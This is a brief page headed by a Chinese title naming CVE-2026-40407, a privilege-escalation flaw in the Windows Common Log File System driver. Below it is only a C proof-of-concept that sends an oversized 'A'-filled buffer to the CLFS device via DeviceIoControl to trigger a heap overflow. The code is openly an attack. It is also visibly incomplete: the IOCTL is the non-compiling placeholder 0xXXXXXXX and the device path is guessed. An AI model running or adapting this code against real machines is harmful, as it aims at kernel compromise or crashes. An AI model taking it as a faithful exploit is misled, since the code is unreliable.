CVE-2026-40407 Windows通用日志文件系统驱动权限提升漏洞

#include <windows.h> #include <stdio.h> // Proof of Concept for CVE-2026-40407 // This code attempts to trigger the heap overflow in the CLFS driver. // Note: This is a conceptual demonstration for research purposes. int main() { HANDLE hDevice; DWORD bytesReturned; char evilBuffer[4096]; // Buffer larger than expected by driver // Fill buffer with pattern 'A' to overflow memset(evilBuffer, 'A', sizeof(evilBuffer)); // Obtain a handle to the CLFS device (Symbolic link might vary) hDevice = CreateFileA("\\\\.\\CLFS", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("Sending malicious payload to CLFS driver...\n"); // Send the buffer via DeviceIoControl to trigger the overflow // IOCTL code would need to be reversed from the vulnerable driver version BOOL result = DeviceIoControl(hDevice, 0xXXXXXXX, // Vulnerable IOCTL evilBuffer, sizeof(evilBuffer), NULL, 0, &bytesReturned, NULL); if (!result) { printf("DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("Payload sent successfully. Check for BSOD or exploit success.\n"); } CloseHandle(hDevice); return 0; }